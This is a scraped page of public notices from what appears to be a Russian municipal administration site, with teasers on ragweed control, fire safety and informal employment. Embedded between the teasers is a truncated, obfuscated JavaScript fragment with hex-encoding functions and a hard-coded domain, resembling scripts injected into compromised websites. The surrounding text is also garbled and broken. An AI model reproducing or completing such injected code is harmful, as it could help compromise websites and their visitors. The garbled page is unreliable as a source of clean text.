Версия для слабовидящих

Памятки населению

//

Подробнее
Категория: Памятки населению

Борьба с амброзией-дело общее // // // // // //

Подробнее

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "admkrsp.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Подробнее

ПАМЯТКА о мерах пожарной безопасности в весенне-летний пожароопасный период. В целях недопущения возможных пожаров работники организаций, а также граждане должны: - соблюдать на производстве и в быту требования пожарной безопасности, а также соблюдать и поддерживать противопожарный режим; - выполнять меры [...]

Подробнее

ПАМЯТКА НАСЕЛЕНИЮ ДЕЙСТВИЯ ПРИ ПОЖАРЕ 1. При первых признаках пожара (задымлении, запах гари, отблески пламени и т.п.) позвонить по телефону 01, 112 (с мобильного телефона) в ДДС-01 и сообщить о пожаре (при этом необходимо назвать адрес, место возникновения пожара и [...]

Подробнее

Подробнее
Категория: Памятки населению

Подробнее
Категория: Памятки населению

Памятка о мерах административной ответственности работодателей за нарушение норм трудового законодательства, в том числе в части неоформления (либо ненадлежащего оформления) трудовых отношений с работником Рабочая группа по организации мероприятий, направленных на снижение неформальной занятости, легализации «серой зарплаты», повышению собираемости страховых [...]

Подробнее
Категория: Памятки населению

ПАМЯТКА о последствиях неформальной занятости Занятость без оформления трудового договора, трудовой книжки, с устной договоренностью о размере зарплаты, не только ущемляет права работников, но неизбежно приводят к негативным последствиям, ведь официально работника не существует. Перечень негативных последствий: 1. Социальная пенсия [...]

Подробнее
Категория: Памятки населению

Негативные последствия применения неформальной занятости для работников и работодателей Неформальная занятость – вид трудовых отношений, основанных на устной договоренности, без заключения трудового договора. Трудовые отношения возникают между работником и работодателем на основании трудового договора, заключаемого в соответствии с Трудовым кодексом [...]

Подробнее
Категория: Памятки населению